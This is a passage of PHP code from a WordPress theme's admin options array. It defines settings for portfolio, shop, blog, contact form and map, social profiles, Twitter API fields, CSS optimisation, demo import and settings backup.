	"size" => "60px",
	"std" => "#f9f9f9"
),

array( "name" => "<h2>Portfolio Items Settings</h2>Portfolio page show at most",
	"desc" => "Enter number of portfolio items you want to display per page",
	"id" => SHORTNAME."_portfolio_items_page",
	"type" => "jslider",
	"size" => "40px",
	"std" => "12",
	"from" => 1,
	"to" => 100,
	"step" => 1,
),

array( "name" => "<h2>Portfolio Category Settings</h2>Portfolio Category Layout",
	"desc" => "Select page template for displaying portfolio category contents",
	"id" => SHORTNAME."_portfolio_archives_layout",
	"type" => "select",
	"options" => array(
		'grid' => 'Grid',
		'masonry' => 'Masonry',
	),
	"std" => 1
),

array( "name" => "<h2>Single Portfolio Settings</h2>Display next and previous posts",
	"desc" => "Check this option to display next and previous posts in single portfolio page",
	"id" => SHORTNAME."_portfolio_next_prev",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "type" => "close"),
//End second tab "Portfolio"


//Begin second tab "Shop"
array( 	"name" => "Shop",
		"type" => "section",
		"icon" => "store.png",
),
array( "type" => "open"),

array( "name" => "Shop Main Page Layout",
	"desc" => "Select page layout for displaying shop\'s products page",
	"id" => SHORTNAME."_shop_layout",
	"type" => "select",
	"options" => array(
		'fullwidth' => 'Fullwidth',
		'sidebar' => 'With Sidebar',
	),
	"std" => ""
),

array( "name" => "Products Page Show At Most",
	"desc" => "Select number of product items you want to display per page",
	"id" => SHORTNAME."_shop_items",
	"type" => "jslider",
	"size" => "40px",
	"std" => "9",
	"from" => 1,
	"to" => 50,
	"step" => 1,
),

array( "name" => "Product Price Font Color",
	"desc" => "Select color for product price",
	"id" => SHORTNAME."_shop_price_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#b63327"
),

array( "name" => "Display Related Products",
	"desc" => "Check this option to display related products on single product page",
	"id" => SHORTNAME."_shop_related_products",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "type" => "close"),
//End second tab "Shop"


array( 	"name" => "Blog",
		"type" => "section",
		"icon" => "book-open-bookmark.png",
),
array( "type" => "open"),

array( "name" => "<h2>Archives, Categories, Tags and Search Page Settings</h2>Archives Page Layout",
	"desc" => "Select blog layout for archives page",
	"id" => SHORTNAME."_blog_archives_layout",
	"type" => "select",
	"options" => array(
		'right_sidebar' => 'Right Sidebar',
		'left_sidebar' => 'Left Sidebar',
		'fullwidth' => 'Fullwidth',
		'grid' => 'Grid',
		'fullscreen' => 'Fullscreen',
	),
	"std" => 'page_sidebar'
),

array( "name" => "Categories Page Layout",
	"desc" => "Select blog layout for categories page",
	"id" => SHORTNAME."_blog_categories_layout",
	"type" => "select",
	"options" => array(
		'right_sidebar' => 'Right Sidebar',
		'left_sidebar' => 'Left Sidebar',
		'fullwidth' => 'Fullwidth',
		'grid' => 'Grid',
		'fullscreen' => 'Fullscreen',
	),
	"std" => 'page_sidebar'
),

array( "name" => "Search Page Layout",
	"desc" => "Select blog layout for search page",
	"id" => SHORTNAME."_blog_search_layout",
	"type" => "select",
	"options" => array(
		'right_sidebar' => 'Right Sidebar',
		'left_sidebar' => 'Left Sidebar',
		'fullwidth' => 'Fullwidth',
		'grid' => 'Grid',
		'fullscreen' => 'Fullscreen',
	),
	"std" => 'page_sidebar'
),

array( "name" => "Tags Page Layout",
	"desc" => "Select blog layout for tags page",
	"id" => SHORTNAME."_blog_tags_layout",
	"type" => "select",
	"options" => array(
		'right_sidebar' => 'Right Sidebar',
		'left_sidebar' => 'Left Sidebar',
		'fullwidth' => 'Fullwidth',
		'grid' => 'Grid',
		'fullscreen' => 'Fullscreen',
	),
	"std" => 'page_sidebar'
),

array( "name" => "<h2>Single Post Page Settings</h2>Display featured content on single post page",
	"desc" => "Check this option to display post's featured content on single post page",
	"id" => SHORTNAME."_blog_display_ft",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "Display tags on single post page",
	"desc" => "Check this option to display post's tags on single post page",
	"id" => SHORTNAME."_blog_display_tags",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "Display about author module",
	"desc" => "Select to display about the author in single post page",
	"id" => SHORTNAME."_blog_display_author",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "Display next and previous posts on single post page",
	"desc" => "Check this option to display next and previous posts in single post page",
	"id" => SHORTNAME."_blog_next_prev",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "<h2>Blog Page Settings</h2>Display full blog post content on blog page",
	"desc" => "Check this option to display full post content on blog pages",
	"id" => SHORTNAME."_blog_display_full",
	"type" => "iphone_checkboxes",
	"std" => 1
),


array( "type" => "close"),


//Begin fourth tab "Contact"
array( 	"name" => "Contact",
		"type" => "section",
		"icon" => "mail-receive.png",
),
array( "type" => "open"),
	

array( "name" => "Your email address",
	"desc" => "Enter which email address will be sent from contact form",
	"id" => SHORTNAME."_contact_email",
	"type" => "text",
	"std" => ""

),
array( "name" => "Select and sort contents on your contact page. Use fields you want to show on your contact form",
	"sort_title" => "Contact Form Manager",
	"desc" => "",
	"id" => SHORTNAME."_contact_form",
	"type" => "sortable",
	"options" => array(
		0 => 'Empty field',
		1 => 'Name',
		2 => 'Email',
		3 => 'Message',
		4 => 'Address',
		5 => 'Phone',
		6 => 'Mobile',
		7 => 'Company Name',
		8 => 'Country',
	),
	"options_disable" => array(1, 2, 3),
	"std" => ''
),
array( "name" => "<h2>Map Setting</h2>Address Latitude",
	"desc" => "<a href=\"http://www.tech-recipes.com/rx/5519/the-easy-way-to-find-latitude-and-longitude-values-in-google-maps/\">Find here</a>",
	"id" => SHORTNAME."_contact_lat",
	"type" => "text",
	"std" => ""
),
array( "name" => "Address Longtitude",
	"desc" => "<a href=\"http://www.tech-recipes.com/rx/5519/the-easy-way-to-find-latitude-and-longitude-values-in-google-maps/\">Find here</a>",
	"id" => SHORTNAME."_contact_long",
	"type" => "text",
	"std" => ""
),
array( "name" => "Map Zoom level",
	"desc" => "",
	"id" => SHORTNAME."_contact_map_zoom",
	"type" => "jslider",
	"size" => "40px",
	"std" => "12",
	"from" => 1,
	"to" => 18,
	"step" => 1,
),
array( "name" => "Map Info box content",
	"desc" => "Enter text to display in map info box",
	"id" => SHORTNAME."_contact_info_box",
	"type" => "text",
	"std" => ""
),
array( "name" => "<h2>Captcha Settings</h2>Enable/disable Captcha",
	"desc" => "",
	"id" => SHORTNAME."_contact_enable_captcha",
	"type" => "iphone_checkboxes",
	"std" => 1
),

//End fourth tab "Contact"


//Begin fifth tab "Social Profiles"
array( "type" => "close"),
array( 	"name" => "Social-Profiles",
		"type" => "section",
		"icon" => "social.png",
),
array( "type" => "open"),

array( "name" => "<h2>Social Sharing Settings</h2>Enable sharing",
	"desc" => "Check this option to display social sharing option for all pages and post",
	"id" => SHORTNAME."_sharing",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "<h2>Social Profiles Settings</h2>Display Social Profiles",
	"desc" => "Select how you want to display social profiles in footer",
	"id" => SHORTNAME."_social_profiles",
	"type" => "select",
	"options" => array(
		'text' => 'Display as text',
		'icon' => 'Display as icon',
		'hide' => 'Hide social profiles',
	),
	"std" => ""
),
array( "name" => "Open Social Profiles link in new window",
	"desc" => "Check this to open footer social icons link in new window",
	"id" => SHORTNAME."_footer_social_link_blank",
	"type" => "iphone_checkboxes",
	"std" => 1
),
	
array( "name" => "<h2>Accounts Settings</h2>Facebook Profile/Page URL",
	"desc" => "",
	"id" => SHORTNAME."_facebook_username",
	"type" => "text",
	"std" => ""
),
array( "name" => "Twitter Username",
	"desc" => "",
	"id" => SHORTNAME."_twitter_username",
	"type" => "text",
	"std" => ""
),
array( "name" => "Google Plus URL",
	"desc" => "",
	"id" => SHORTNAME."_google_username",
	"type" => "text",
	"std" => ""
),
array( "name" => "Flickr Username",
	"desc" => "",
	"id" => SHORTNAME."_flickr_username",
	"type" => "text",
	"std" => ""
),
array( "name" => "Youtube Username",
	"desc" => "",
	"id" => SHORTNAME."_youtube_username",
	"type" => "text",
	"std" => ""
),
array( "name" => "Vimeo Username",
	"desc" => "",
	"id" => SHORTNAME."_vimeo_username",
	"type" => "text",
	"std" => ""
),
array( "name" => "Tumblr Username",
	"desc" => "",
	"id" => SHORTNAME."_tumblr_username",
	"type" => "text",
	"std" => ""
),
array( "name" => "Dribbble Username",
	"desc" => "",
	"id" => SHORTNAME."_dribbble_username",
	"type" => "text",
	"std" => ""
),
array( "name" => "Linkedin URL",
	"desc" => "",
	"id" => SHORTNAME."_linkedin_username",
	"type" => "text",
	"std" => ""
),
array( "name" => "Pinterest Username",
	"desc" => "",
	"id" => SHORTNAME."_pinterest_username",
	"type" => "text",
	"std" => ""
),
array( "name" => "Instagram Username",
	"desc" => "",
	"id" => SHORTNAME."_instagram_username",
	"type" => "text",
	"std" => ""
),
array( "name" => "500px Username",
	"desc" => "",
	"id" => SHORTNAME."_500px_username",
	"type" => "text",
	"std" => ""
),
array( "name" => "Behance Profile URL",
	"desc" => "",
	"id" => SHORTNAME."_behance_url",
	"type" => "text",
	"std" => ""
),
array( "name" => "<h2>Twitter API Settings</h2>Twitter Consumer Key <a href=\"http://support.themegoods.com/?knowledgebase=fix-twitter-widget\">See instructions</a>",
	"desc" => "",
	"id" => SHORTNAME."_twitter_consumer_key",
	"type" => "text",
	"std" => ""
),
array( "name" => "Twitter Consumer Secret",
	"desc" => "",
	"id" => SHORTNAME."_twitter_consumer_secret",
	"type" => "text",
	"std" => ""
),
array( "name" => "Twitter Consumer Token",
	"desc" => "",
	"id" => SHORTNAME."_twitter_consumer_token",
	"type" => "text",
	"std" => ""
),
array( "name" => "Twitter Consumer Token Secret",
	"desc" => "",
	"id" => SHORTNAME."_twitter_consumer_token_secret",
	"type" => "text",
	"std" => ""
),

//End fifth tab "Social Profiles"
array( "type" => "close"),


//Begin second tab "Script"
array( "name" => "Script",
	"type" => "section",
	"icon" => "css.png",
),

array( "type" => "open"),

array( "name" => "<h2>CSS Settings</h2>Custom CSS",
	"desc" => "You can add your custom CSS here",
	"id" => SHORTNAME."_custom_css",
	"type" => "textarea",
	"std" => ""
),
array( "name" => "<h2>CSS and Javascript Optimisation Settings</h2>Combine and compress theme's CSS files",
	"desc" => "Combine and compress all CSS files to one. Help reduce page load time",
	"id" => SHORTNAME."_advance_combine_css",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "Combine and compress theme's javascript files",
	"desc" => "Combine and compress all javascript files to one. Help reduce page load time",
	"id" => SHORTNAME."_advance_combine_js",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "Clear Cache",
	"desc" => "Try to clear cache when you enable javascript and CSS compression and theme went wrong",
	"id" => SHORTNAME."_advance_clear_cache",
	"type" => "html",
	"html" => '<a id="'.SHORTNAME.'_advance_clear_cache" href="'.$api_url.'" class="button">Click here to start clearing cache files</a>',
),

array( "type" => "close"),


//Begin second tab "Demo"
array( "name" => "Demo-Import",
	"type" => "section",
	"icon" => "database_add.png",
),

array( "type" => "open"),

array( "name" => "<h2>Import Demo Settings</h2>",
	"desc" => "",
	"id" => SHORTNAME."_import_demo",
	"type" => "html",
	"html" => '<strong>*NOTE:</strong> Demo setting is not sample content. It imports only theme admin panel settings including colors, font etc. You still have to add your own contents ex. pages, post, portfolios or use .xml file which is included in theme package and run Tools > Import in order to import sample contents.<br/><br/>
	<ul id="import_demo" class="demo_list">
	    <li class="selected" data-demo="1">
	    	<img src="'.get_template_directory_uri().'/cache/demos/vega_demo1.jpg" alt=""/>				    			   
	    </li>
	    <li data-demo="2">
	    	<img src="'.get_template_directory_uri().'/cache/demos/vega_demo2.jpg" alt=""/>	   
	    </li>
	    <li data-demo="3">
	    	<img src="'.get_template_directory_uri().'/cache/demos/vega_demo3.jpg" alt=""/>	   
	    </li>
	    <li data-demo="4">
	    	<img src="'.get_template_directory_uri().'/cache/demos/vega_demo4.jpg" alt=""/>	   
	    </li>
	</ul>
	<input id="pp_import_default_button" name="pp_import_default_button" type="submit" value="Import Selected Settings" class="upload_btn button-primary"/>
	<input type="hidden" id="pp_import_demo" name="pp_import_demo" value="1"/>
	<input type="hidden" id="pp_import_default" name="pp_import_default" value=""/>
	',
),
 
array( "type" => "close"),


//Begin second tab "Backup"
array( "name" => "Backup",
	"type" => "section",
	"icon" => "drive_disk.png",
),

array( "type" => "open"),

array( "name" => "<h2>Import Settings</h2>",
	"desc" => "Choose theme export file (.json) from your computer and click \"Import\" button",
	"id" => SHORTNAME."_import_current",
	"type" => "html",
	"html" => '<input type="file" id="'.SHORTNAME.'_import_current" name="'.SHORTNAME.'_import_current"/><input type="submit" id="'.SHORTNAME.'_import_current_button" class="button" value="Import"/>',
),

array( "name" => "<h2>Export Settings</h2>",
	"desc" => "You can click below button to save current backup into .json file so you can import it back any time using restore form below.",
	"id" => SHORTNAME."_export_current",
	"type" => "html",
	"html" => '<input type="submit" id="'.SHORTNAME.'_export_current_button" class="button" value="Export Current Theme Settings"/><input type="hidden" id="'.SHORTNAME.'_export_current" name="'.SHORTNAME.'_export_current" value="0"/>',
),
 
array( "type" => "close"),


//Begin second tab "Auto update"
/*array( "name" => "Auto-update",
	"type" => "section",
	"icon" => "arrow_refresh.png",
),

array( "type" => "open"),

array( "name" => "<h2>Envato API Settings</h2>Envato Username",
	"desc" => "Enter you Envato username",
	"id" => SHORTNAME."_envato_username",
	"type" => "text",
	"std" => ""
),
array( "name" => "Envato API Key",
	"desc" => "Enter account API key. You can get it from Your account > Settings > API Keys",
	"id" => SHORTNAME."_envato_api_key",
	"type" => "text",
	"std" => ""
)*/
);


//Check if has new update
/*include_once(get_template_directory() . '/modules/envato-wordpress-toolkit-library/class-envato-wordpress-theme-upgrader.php');

$pp_envato_username = get_option('pp_envato_username');
$pp_envato_api_key = get_option('pp_envato_api_key');
$upgrader = array();

if(!empty($pp_envato_username) && !empty($pp_envato_api_key))
{
	$upgrader = new Envato_WordPress_Theme_Upgrader( $pp_envato_username, $pp_envato_api_key );
	$upgrader_obj = $upgrader->check_for_theme_update();
	
	if($upgrader_obj->updated_themes_count > 0)
	{
		$options[] = array( 
			"name" => "Update Theme<br/>",
			"desc" => "",
			"id" => SHORTNAME."_theme_go_update",
			"type" => "html",
			"html" => '
			Click to update '.THEMENAME.' theme to the latest version. If you made changes on any them code, please backup your changes first otherwise they will be overwritten by the update.<br/><br/>
			<a id="'.SHORTNAME.'_theme_go_update_bth" href="'.$api_url.'" class="button button-primary">Click here to update theme</a>
			<div class="update_message"><img src="'.get_template_directory_uri().'/functions/images/ajax-loader.gif" alt="" style="vertical-align: middle;"/><br/><br/>*Theme is being updated please be patient, don\'t navigate away from this page</div>',
		);
	}
}*/

$options[] = array( "type" => "close");

/*print '<pre>';
print_r($options);
print '</pre>';*/
?>